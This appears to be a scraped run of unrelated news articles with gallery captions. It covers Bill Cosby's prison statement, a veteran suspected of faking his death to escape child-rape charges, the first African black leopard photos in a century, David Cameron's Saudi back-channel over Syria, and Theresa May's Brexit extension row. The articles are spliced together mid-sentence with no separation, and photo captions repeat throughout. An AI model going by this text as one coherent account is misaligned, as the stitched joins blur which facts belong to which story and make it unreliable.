salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The children were taken to a local children's hospital and were transferred to foster care on Tuesday night. Marissa Gonzales, a spokeswoman for the Texas Department of Family and Protective Services, said the agency has had contact with the family before, but at a different location.

Ben Wilkins, Dallas Court Appointed Special Advocates chief program officer assigned to the children, says they will likely need years of medical care and therapy to heal from the abuse. It may be really hard for them to trust that its going to be ok with whoevers going to take care of them now. And all of that will take a lot of love, a lot of patience and a lot of consistency over time to help them in that process of healing, he told NBC.

Harkings and Fabila were both booked on four counts of child endangerment, and Harkings was also charged with aggravated assault for the injuries to Harkings face.Convicted sex offender Bill Cosby, 81, who was found guilty in September 2018 for drugging and sexually assaulting a woman, claims he is a political prisoner and similar to the likes of civil rights and peace activists Martin Luther King Jr., Mahatma Gandhi and Nelson Mandela.

The disgraced comedian released a written statement through Andrew Wyatt, his crisis manager and spokesperson, on Wednesday.

The statement claimed that his political beliefs, actions of trying to humanise all races, genders and religions landed me in this place surrounded by barb wire fencing, a room made of steel and iron.

This is Cosbys first official statement since he was imprisoned in October 2018.

So, I now have a temporary residence that resembles the quarters of some of the greatest political prisonersMartin Luther King, Jr., Mahatma Gandhi, Nelson Mandela, Randal Robinson and Dr Benjamin Chavis, the statement read.

Cosby is currently serving his three-to-10 year sentence at SCI-Phoenix, a maximum-security prison in the Philadelphian suburbs. He was found guilty in April on three counts of aggravated indecent assault against Andrea Constand. The 45-year-old woman said that, in 2004, Cosby drugged and assaulted her at his Montgomery County home in Pennsylvania after she visited him seeking career advice.

Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time Show all 12 1 /12 Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 1CosbyGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 2ThatcherGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 3PopeGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 4GoldblumGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 5SandlerGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 6BraffGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 7Gotye.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 8MileyGETTY.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 9Kanye.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 10Young.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 11Skrill.jpg Getty Images Not dead yet: Bill Cosby and the celebrities social media tried to kill off before their time 12Way.jpg Gerard Way: It's not just the micro-publishing power of Twitter that has sparked internet death rumours. With its open-editing platform, Wikipedia is also vulnerable to such pranks, and My Chemical Romance frontman Gerard Way found this out in 2008 when someone changed his entry on the online encyclopedia to confirm his death in a car crash. He later released a statement reassuring fans that he was okay and had not joined the 'Black Parade' quite yet. Getty Images

Mr Wyatt said that Cosby is in good condition, citing that he is in amazing spirits and not remorseful.

The crisis manager said that the convicted sex offender still believes he is innocent.

When I visit him, its nothing sad about it, Mr Wyatt told NBC News. He will never have remorse, and the reason why he has no remorse is because he did nothing wrong. He was not guilty.

The crisis manager said that Cosby has not been transferred from the special housing unit of his prison to the general population, despite state prison spokesperson Amy Wordens statement last week.

Instead, Cosby, who is now legally blind, is staying at a veterans facility where he is with other elderly prisoners. Due to his old age and his disability, Cosby has inmates assigned to help him throughout the day.

Although Cosby was considered Americas Dad at one point, neither his wife or daughters have visited him in the four months he has been imprisoned. His spokesman said Cosby does not expect them to visit him since the maximum-security prison is about 20 miles away from their family estate. Cosby reportedly said he wouldnt want them to be exploited by the media.

He does not want his family to be exploited that way by coming to visit him and it be made a circus out of by the media, Mr Wyatt added. So he has excluded them from coming to visit him for that reason and that reason alone.

However, Cosby does talk to his wife, Camille, over the phone at least three times a day.

Not including his lawyers, Mr Wyatt is Cosbys only visitor. The publicist visits the disgraced comedian every other week.

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Despite his old age, Cosby has a rigorous schedule. He wakes up every morning at 3.30am to work-out: leg lifts, pushups, and situps are just some of the exercises he does in his cell before breakfast.

The spokesperson said that Cosby is developing show ideas from prison.

Hes mentally strong, Mr Wyatt added. Hes just a strong man.

Although Cosby was only criminally charged on one case involving Ms Costand, nearly 60 women have come forward and accused Americas Dad for sexual misconduct. Some of his alleged victims include former bartender Janice Baker-Kinney, former Playboy bunny Sarita Butterfield, and former supermodel Janice Dickinson. Here is a full list of his victims.US authorities are searching for a 42-year-old Iraq war veteran suspected of faking his own death to avoid charges he raped a 14-year-old girl.

Police in Orange Beach, Alabama, found an abandoned dingy belonging to Jacob Blair Scott just offshore last summer.

Inside they discovered a note with Mr Scotts social security number that said Im sorry and a handgun tied to a rope.

Yet investigators believe the scene was staged and are now appealing to the public for help in tracking down the fugitive.

Based on the conversations with local investigators, it is not believed that an actual suicide took place and that he is actively avoiding capture, said Katrina Crouse, a senior inspector for the US Marshals Service.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. 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Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. 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Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. 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The former US Army serviceman disappeared on 30 July, just days before he was set to plead guilty to 14 sexual assault charges.

Mr Scott had withdrawn $45,000 from his retirement account in the days before he vanished. Authorities in Mississippi and Alabama also became suspicious after failing to find any forensic evidence of a suicide.

Normally in situations where somebody is shot, committed suicide, youre going to have other forensic-type evidence. For example, brain matter, hair, skin, bone, Ms Crouse told ABC News affiliate Denver7. None of that was found.

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Marshals had looked for Mr Scott in Denver after being asked to investigate a tip received by Mississippi Crime Stoppers, said Ms Crouse.

We have and are still actively investigating these tips but nothing substantial has been received yet. We believe he could be anywhere at this time.

Mr Scott is described as a white male, around 5ft 10 in height, with brown hair and blue eyes.

Additional reporting by agenciesA wildlife photographer has captured the first images of an elusive African black leopard in more than a century.

Pictures of the big cat striding out of the darkness while hunting for prey were taken at Laikipia Wilderness Camp in Kenya.

Black leopards, which have a dark coat in contrast to the bright, spotted fur of most members of the species, are extremely rare in Africa and were not confirmed to be living in Kenya until now.

Images of the cat were captured by British wildlife photographer Will Burrard-Lucas, who travelled to the country after hearing about potential sightings of the animal.

Once on location, Mr Burrard-Lucas set up a series of Camtraptions camera traps in the area, in the hope of catching a black leopard on the prowl.

First photos of a black leopard in over a century Show all 10 1 /10 First photos of a black leopard in over a century First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century The Camtraptions camera trap used to capture the black leopard Will Burrard-Lucas First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century The Camtraptions camera trap used to capture the black leopard Will Burrard-Lucas First photos of a black leopard in over a century Black leopard photographed with a Camtraptions camera trap at Laikipia Wilderness Camp, Kenya Will Burrard-Lucas First photos of a black leopard in over a century The Camtraptions camera trap used to capture the black leopard Will Burrard-Lucas First photos of a black leopard in over a century The Camtraptions camera trap used to capture the black leopard Will Burrard-Lucas

Returning after several days to check what the cameras had captured, the photographer initially believed he had failed in his attempts to find a black leopard, until he checked the final rig.

I had a quick look at the last trap, not expecting to find much, Mr Burrard-Lucas wrote on his blog.

As I scrolled through the images on the back of the camera, I paused and peered at the photograph below in incomprehension a pair of eyes surrounded by inky darkness a black leopard.

I couldnt believe it and it took a few days before it sank in that I had achieved my dream.

The photographer claims his images are the first ever high-quality images of a black leopard in its natural habitat captured in Africa.

They are thought to be the first conclusive proof of black leopards living on the continent since a series of photographs taken in Ethiopia in 1909.

Black leopards are sometimes known as panthers, an umbrella term used to describe any big cat with melanism, the opposite of albinism.

However, most are found in southeast Asia, where the gene variant provides extra camouflage under dense rainforest canopies.

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The new photographs form part of a paper by experts from the Institute of Conservation Research at San Diego Zoo, documenting confirmation of black leopards living in Laikipia.

After presenting Mr Burrard-Lucass photographic evidence of the black panther to local conservationists, a second photo of a leopard with melanism hiding in grass purportedly taken in the area 2007 was also handed to researchers.

Collectively these images are the first reported in nearly 100 years that confirm the existence of black leopard in Africa, and the first in Kenya, the paper states.

Because the photograph is more than a decade older than the trail camera observations, it is likely that melanistic leopards are an established phenomenon in Laikipia county.David Cameron personally visited the Oxfordshire mansion of Saudi Arabias intelligence chief in hope of persuading the kingdom to push Barack Obama into action against the Syrian regime, it has emerged.

The former prime minister spoke to the son of Prince Bandar bin Sultan, asking him to pass a message to his father that Obama is not serious in Syria.

He lamented how British and French calls for the US president to take a stronger position had fallen on deaf ears, but that things might change if Riyadh called the White House.

In an interview with Independent Arabia, Prince Bandar revealed that the message did eventually make it back to the then-king Abdullah bin Abdulaziz al Saud.

The story relates to the period after August 2013 in which the Syrian regime of Bashar al-Assad stood accused of a chemical weapons attack near Damascus that killed hundreds of people, including more than 400 children.

Saudi Arabia opens its first women-only hotel Show all 4 1 /4 Saudi Arabia opens its first women-only hotel Saudi Arabia opens its first women-only hotel 20597.bin HASSAN AMMAR/AFP/Getty Images Saudi Arabia opens its first women-only hotel 20596.bin HASSAN AMMAR/AFP/Getty Images Saudi Arabia opens its first women-only hotel 20598.bin HASSAN AMMAR/AFP/Getty Images Saudi Arabia opens its first women-only hotel 20601.bin HASSAN AMMAR/AFP/Getty Images

The attack also crossed a diplomatic red line set out by Mr Obama, leaving him having to decide whether to take military action in Syria in the face of domestic opposition to a new offensive in the Middle East.

As the situation developed, Mr Cameron is said to have visited the Glympton estate of Saudi intelligence chief Prince Bandar, whom the then-PM had a working relationship with, though on this particular occasion he ended up speaking to his son.

The prince told Independent Arabia editor Adhwan Alahmari that the prime minister had passed by and stopped in to ask for a meeting, after which his son went out to speak with Mr Cameron.

The prince added: They went to a small cottage in a lake in front of the house. He was without bodyguards and my son shook his hand. Cameron asked my son to go for a walk and then asked him, Is there a way to contact your father?

[My son] said, Yes, why?. He said, I want you to tell him that Obama is not serious in Syria, and he will not do anything. Weve tried with the French and there have been great efforts. Obama refuses to listen to us. If its possible for Saudi Arabia to make some effort, action may be taken.

The prince said that his son told the prime minister he was not involved in his fathers work, but accepted that a message did find its way back to the Saudi king following the meeting.

The story casts light on the diplomatic channels to the Middle Eastern state that were open to the former prime minister, with Prince Bandars mansion conveniently located in his Witney constituency and the Saudi officials son married to a family friend.

A spokesman from the office of Mr Cameron said: David Cameron met with Prince Bandar bin Sultan on several occasions both as leader of the opposition and prime minister; the Glympton estate was in his west Oxfordshire constituency.

He also knows his son, who married a family friend. Mr Cameron did meet Prince Bandars son at Glympton but cannot confirm the report of the conversation.

In the end, the House of Commons refused to support air strikes in Syria ending Mr Camerons intention of tackling the Assad regime head on.

Mr Obama, worried about alienating Congress, also backed down, followed by then-French president Francois Hollande, who later said the incident represented a missed opportunity that could have changed the course of the war.Theresa May is under pressure over evidence she is planning a long delay to Brexit if MPs still refuse to back her deal, after her chief negotiator was overheard in a Brussels bar.

Anti-EU Tories reacted angrily after Olly Robbins appeared to reveal the strategy  contradicting the prime ministers insistence that she is ready to crash out of the EU without a deal if necessary.

Extension [of Article 50] is possible but if they don't vote for the deal then the extension is a long one, he was heard saying, by an ITV News journalist.

The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension.

The comments also appeared to confirm that Ms May, as a cabinet minister hinted yesterday, plans to delay the critical decision until the eve of the scheduled departure day on 29 March.

Steve Baker, the deputy leader of the hardline European Research Group of Tory MPs said Mr Robbins should be appalled by this story. Downing Street declined to comment.

The row came as the ERG also warned it could vote against the governments standstill motion on Brexit in a Commons debate on Thursday  which would plunge Ms May into a fresh crisis.

Police separate clashing Brexit protesters outside Parliament Show all 11 1 /11 Police separate clashing Brexit protesters outside Parliament Police separate clashing Brexit protesters outside Parliament Anti-Brexit protester Steve Bray (left) and a pro-Brexit protester argue as they demonstrate outside the Houses of Parliament Getty Images Police separate clashing Brexit protesters outside Parliament A pro-Brexit protester argues Getty Images Police separate clashing Brexit protesters outside Parliament Police surround the pro-Brexit protester after he confronted Steve Bray, a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer as he argues with a remain supporter, Steve Bray, outside Parliament PA Police separate clashing Brexit protesters outside Parliament MPs in Parliament are to vote on Theresa May's Brexit deal next week after her December vote was called off in the face of a major defeat Getty Images Police separate clashing Brexit protesters outside Parliament A leave supporter is spoken to by a police officer PA Police separate clashing Brexit protesters outside Parliament Police look on as anti-Brexit protesters demonstrate outside the Houses of Parliament. Getty Images Police separate clashing Brexit protesters outside Parliament Police hold back a leave supporter PA Police separate clashing Brexit protesters outside Parliament A police officer speaks with anti-Brexit protester Steve Bray Getty Images Police separate clashing Brexit protesters outside Parliament Police surround a pro-Brexit protester after he confronted a pro-European protester Getty Images Police separate clashing Brexit protesters outside Parliament Conservative MP David Davies, wearing a gopro camera, speaks to anti-Brexit protester Steve Bray Getty Images

The motion backs the approach to leaving the EU expressed by this House on 29 January, which  as well as calling for the Irish backstop to be replaced  also saw a separate vote ruling out a no-deal Brexit.

An ERG source told the Brexit Central website that the motion passing would destroy our leverage in the critical negotiations with the EU, adding: This is utterly chaotic, bordering on farce.

In the overheard conversation, Mr Robbins also sparked a second controversy by suggesting the backstop  designed to avoid a hard border in Ireland  was conceived as a bridge to the future relationship.

The comment was seen as revealing it is meant as the basis of a permanent relationship, which could keep the UK in an EU customs union, something Ms May denies.

An ERG spokesman added: Who's in charge of this? Either the prime minister is and this is what she wants, or she isn't and is just doing what the civil service tells her.

In his report, the ITV News reporter admitted he could not hear every word spoken by Mr Robbins and that the bar was too noisy to make a recording.

Asked whether the comments reflected government policy, Brexit Secretary Stephen Barclay told BBC Radio 4's Today programme: No.

He said: The prime minister has been very clear that we are committed to leaving on 29 March.

The Brexit Secretary, who met senior MEPs in Strasbourg on Tuesday, added: What came over was actually that it is not in anyone's interests to have an extension without any clarity. It is actually very disruptive to the European Parliament.Theresa May has dismissed the row over her chief negotiator saying she plans to threaten MPs with a long delay to Brexit as something overheard in a bar.

However, the prime minister again failed to rule out extending Article 50  which Olly Robbins is alleged to have floated, if MPs still refuse to back her deal by the end of March.

The SNP said it showed Ms Mays claim she is ready to crash out of the EU if necessary had reached the end of the road because she had been rumbled by your own loose-lipped Brexit adviser.

Brexiteer Tories are furious after Mr Robbins was quoted as saying: Extension [of Article 50] is possible but if they don't vote for the deal then the extension is a long one.

Asked to rule out such a delay, the prime minister said: Im grateful that he has asked me that question, rather than relying on what someone said to someone else as overheard by someone else in a bar.

The government position is the same. We triggered Article 50  in fact this House voted to trigger Article 50.

That has a two-year timeline that ends on the 29 March. We want to leave with a deal and thats what we working for.

Strikingly, the prime ministers response did not deny that the choice before MPs is likely to be her deal or a long delay  rather than her deal, or a no-deal Brexit.

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In his comments, overheard by an ITV News journalist, Mr Robbins contradicting the prime ministers insistence that she will carry out a no-deal Brexit if necessary.

He was overheard saying: The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension.

The negotiator also appeared to confirm that Ms May, as a cabinet minister hinted yesterday, plans to delay the critical decision until the week beginning end of March.

Steve Baker, the deputy leader of the hardline European Research Group of Tory MPs said Mr Robbins should be appalled by this story.

And Andrea Jenkyns, another Tory Brexiteer, tweeted: If true, the PM should stop ignoring the wishes of the British people and disregarding her own red lines.

In the Commons, Ms May also sought to calm Tory MPs fears that she will compromise on leaving the EU customs union, in order to secure Labour votes and pass her stalled deal.

The government has been clear. We want to have that independent trade policy  its specifically referred to in the political declaration [accompanying the withdrawal agreement].The government needs to get its act together to prevent panic-buying and civil unrest over Brexit, officials have warned.

A group coordinating contingency planning in London heard that with 44 days until Britain is due to leave the EU, authorities still have no direct indication of what were planning for.

Suggestions that the government may delay Article 50 remain unconfirmed, and no date has been set for a parliamentary vote on a deal with the EU since Theresa Mays proposals were rejected last month.

Fiona Twycross, chair of the London Resilience Forum, said people would stockpile food, fuel and other supplies because of the uncertainty.

The government might tell people not do it but as soon as they can give people some certainty the better, she told the London Assembly EU Exit Working Group.

Britain Before Brexit: Greater London Show all 16 1 /16 Britain Before Brexit: Greater London Britain Before Brexit: Greater London West Croydon A police vans speed and siren bring people to shop windows, keen to watch the drama of the public space, curious to know if a crime has been committed and lining up like townsfolk in a western movie Richard Morgan/The Independent Britain Before Brexit: Greater London Trafalgar Square Morning light illuminates a typical scene outside the National Gallery. Everyone interacts with a phone, held in hands and gazed at, or held in the hands of others and posed for. The figure in the background is on another level, an exception, an anomaly Richard Morgan/The Independent Britain Before Brexit: Greater London East Croydon A dispute about shoplifting outside a stores entrance, conducted in French, revolving around a gold watch Richard Morgan/The Independent Britain Before Brexit: Greater London Bank The Chinese flag hangs over the centre of British finance, its red blush bringing luck to the morning. St Pauls Cathedral occupies the blue distance Richard Morgan/The Independent Britain Before Brexit: Greater London Bond Street Three pairs of legs and feet in different states, playing different roles in the heart of British commerce: one clothed, striding purposefully; another of white plastic, made to model and convince; the last barefoot, not standing Richard Morgan/The Independent Britain Before Brexit: Greater London Upton Park Plastic bags dress naked trees, only partially, flaying in the wind, torn and damp, leaving most of the branches exposed, like black cracks spreading across thin ice, across the tower block of civilisation Richard Morgan/The Independent Britain Before Brexit: Greater London Westminster A pro-Brexit protester walks past the Houses of Parliament and the anti-Brexit protesters camped opposite. Both have appropriated the Union Jack, claim to be acting in the national interest and to be patriotic. Caught in between are child and mother, who photographs the home of democracy, or herself Richard Morgan/The Independent Britain Before Brexit: Greater London Islington A new tube map is put up outside the station, hands reaching high, stretching upwards, as if in worship of the security camera, in awe of surveillance itself, one of Londons most valued currencies Richard Morgan/The Independent Britain Before Brexit: Greater London Tooting Broadway A huge bingo hall hidden away from the high street, populated sparsely by a few players. Theres so much concentration and focus. I cant decide if theyre there to play, to win, to hide, to escape, or to kill time Richard Morgan/The Independent Britain Before Brexit: Greater London The Mall Horses are tourist attractions in certain parts of London, especially when theyre dressed in military regal attire and carrying a soldier or a guard. Tourists pose alongside them for selfies and generic holiday snaps, which when taken daily in their millions, re-enforce a global image of London as a hub of ceremonial pomp and ritual Richard Morgan/The Independent Britain Before Brexit: Greater London Tooting Bec An anonymous critique of an adverts imagery, wheeling out the age-old distinction between lust and love, sex and companionship, surface and interior, shallowness and depth, superficial and real Richard Morgan/The Independent Britain Before Brexit: Greater London Wandsworth A declaration of the existence of community is damaged and broken. A sign portraying strength and solidarity looks weak and sad and lonely when it begins to crumble and fall apart Richard Morgan/The Independent Britain Before Brexit: Greater London Buckingham Palace I watch a lineup of paparazzi photographers outside the palace. They wait to pounce upon blacked out windows concealing guests to the Queens Christmas lunch. They appear bored and unenthusiastic, as if photography were for them but a chore that flashes light on celebrity faces Richard Morgan/The Independent Britain Before Brexit: Greater London St Pauls The city is reflected by its values: a relentless list of imperative commands to become something else, some better version, upgraded; a message that says we need to acquire to improve; a hard-hitting reminder of your inadequacy and incompleteness Richard Morgan/The Independent Britain Before Brexit: Greater London Colliers Wood A laundrette on the peripheries, zone 3, where a man sits below another London  Piccadilly Circus  with its giddy movements and interactions, its colours and vibrancy, where life is shaken up and spun, as if in one of the washing machines below, rotating and loud, everything inside blurred Richard Morgan/The Independent Britain Before Brexit: Greater London Uxbridge A building site concealed with an image of what will be. A common way to cover up the messy process of (de)construction. The housing development claims to be affecting time and space, moving people into new places and better futures, fundamentally altering their existence Richard Morgan/The Independent

This is an issue government needs to sort out, they need to get their act together so that people dont take what in some instances could be seen to be a very rational decision.

Dr Twycross warned that if stockpiling turns into panic-buying, poorer households and vulnerable people would be more exposed to any resulting shortages.

John Hetherington, City Halls head of London resilience, said public behaviour could also drive a fuel crisis, potentially sparking traffic gridlock and civil unrest.

The hardest-hit area would be the southeast of England, where there could be very localised shortages that are then exacerbated by public behaviour, he added.

Mr Hetherington said authorities and businesses may have to adapt to a new normal but that much depended on the publics reaction and EU decisions on supply routes.

